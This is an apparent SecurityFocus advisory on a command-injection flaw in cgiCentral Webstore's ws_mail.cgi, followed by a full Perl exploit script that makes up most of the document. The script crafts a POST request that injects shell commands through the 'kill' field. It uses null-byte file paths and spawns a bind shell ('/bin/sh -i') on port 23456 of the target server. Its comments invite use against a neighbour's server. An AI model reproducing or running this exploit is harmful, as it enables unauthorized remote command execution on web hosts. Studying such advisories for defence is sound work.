source: http://www.securityfocus.com/bid/2861/info


cgiCentral's Webstore is an shopping cart application which processes and manages online purchases.

Ws_mail.cgi calls system() with user-supplied data in the command string. Because it does not filter metacharacters out of the user-supplied data, it is possible for administrators to execute arbitrary commands on webserver hosts.

It should be noted that administrative privileges in Webstore are required to exploit this vulnerability. Malicious administrators, who do not have access to the host serving the script, may use this vulnerability to gain access. If remote attackers can authenticate as administrators, they may also be able to exploit this vulnerability to gain access to the host. Bugtraq ID 2860 creates a condition where this may be possible. 

#!/usr/bin/perl -w
# Sun, May 6, 2001
# exploit by Igor Dobrovitski, [email protected]
# The exploit is for the default set-up. A good way to test if your (your neighbour's :) server
# is vulnerable. Only for Unix, will now work on NT
# Enjoy
use Socket;
$| = 1;
####################################################################################################
$msgfile = '../../Statistics/WebStore_Access.counter';
$userfile = '../Statistics/WebStore_Access.counter';
# if the sploit doesn't work with the above values, comment them out and uncomment ones below
#$msgfile = '../../ws_delete_files.cron';
#$userfile = '../ws_delete_files.cron';
# or these if the above fails:
#$msgfile = '../../Statistics/index.html';
#$userfile = '../Statistics/index.html';
$exec_code = 'use Socket;$protocol = getprotobyname(tcp);socket(SOCK, PF_INET, SOCK_STREAM, $protocol)
;setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, 1);$port=23456;bind(SOCK, sockaddr_in($port, INADDR_ANY));
listen(SOCK, 1);accept (NEW, SOCK);if(!fork()){open STDIN, "<&NEW"; open STDOUT, ">&NEW";open STDERR,
">&NEW";exec "/bin/sh -i"}else{close NEW;exit;}';
####################################################################################################
unless(defined $ARGV[0]) {die "Usage: $0 www.example.com/cgi-bin/ws_mail.cgi\n"}
$ARGV[0] =~ s|^(?:http://)*(.*/).*(\..*)$|${1}ws_mail$2|;
($host, $scriptpath) = $ARGV[0] =~ m|^(.*?)(/.*)$|;
$userfile .= '\0';
$sh_cmd = '55555;perl=\'perl\';test -x /usr/bin/perl && perl=\'/usr/bin/perl\';test -x /usr/local/bin/
perl && perl=\'/usr/local/bin/perl\';$perl -e \'' . $exec_code . '\'';
# the above is what's passed to the 'system' command as part of an argument
$form = makeform({'userfile' => $userfile, 'kill' => $sh_cmd, 'terminate' => 'whatever',
                  'admin' => 'yep', 'restart' => 'pls', 'msgfile' => $msgfile});
print "Engaging the enemy. Please stand by...\n";
$SIG{ALRM} = sub { print STDERR "Timeout was expected. The shell awaits you on port 23456\nHave fun an
d be nice to the server.\n"; exit };
alarm(20);
&send($form);
&oops_the_sploit_did_not_work();

sub makeform
{
    my $string;
    my @blah;
    my $line  = '';
    my $here;
    my %data = %{$_[0]};
    foreach my $key (keys %data)
    {
        $line .= "$key" . 'AAAA' . "$data{$key}" . 'BBBB';
    }
    $line =~ s|^(.*)BBBB$|$1|;
    $line =~ s/\\n/\n/g;
    $line =~ s/\\t/\t/g;
    $line =~ s/\\e/\e/g;
    $line =~ s/\\f/\f/g;
    $line =~ s/\\r/\r/g;
    $line =~ s/\\0/\0/g;
    foreach my $char (split //, $line)
    {
        if($char !~ m/[A-Za-z0-9._ ]/)
        {
            $char = unpack "H2", $char;
            $char = '%' . "$char";
        }
        push @blah, $char;
    }
    $string = join "",@blah;
    $string =~ s/AAAA/=/g;
    $string =~ s/BBBB/&/g;
    $string =~ s/ /+/g;
    my $cont_len = length($string);
$here = <<EOF;
POST $scriptpath HTTP/1.0
User-Agent: Mozilla (Windows 98)
Host: $host
referer: $host
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Content-type: application/x-www-form-urlencoded
Content-length: $cont_len

$string
EOF
    return $here;
}

sub send
{
    my $form_to_send = shift;
    my $h = inet_aton($host) or die "Forward lookup for $host failed\n";
    socket(S,PF_INET,SOCK_STREAM,6) or die "socket prolems\n";
    unless(connect(S,sockaddr_in(80,$h))) {print STDERR "Couldn't connect to " . inet_ntoa($h) . "\n"
; close(S); exit 1 }
    select(S);
    $|=1;
    print "$form_to_send";
    my @reply=<S>;
    select(STDOUT);
    close(S);
    return @reply;
}

sub oops_the_sploit_did_not_work
{
    print STDERR "The exploit didn't work on this host\nSorry...\n";
    exit;
}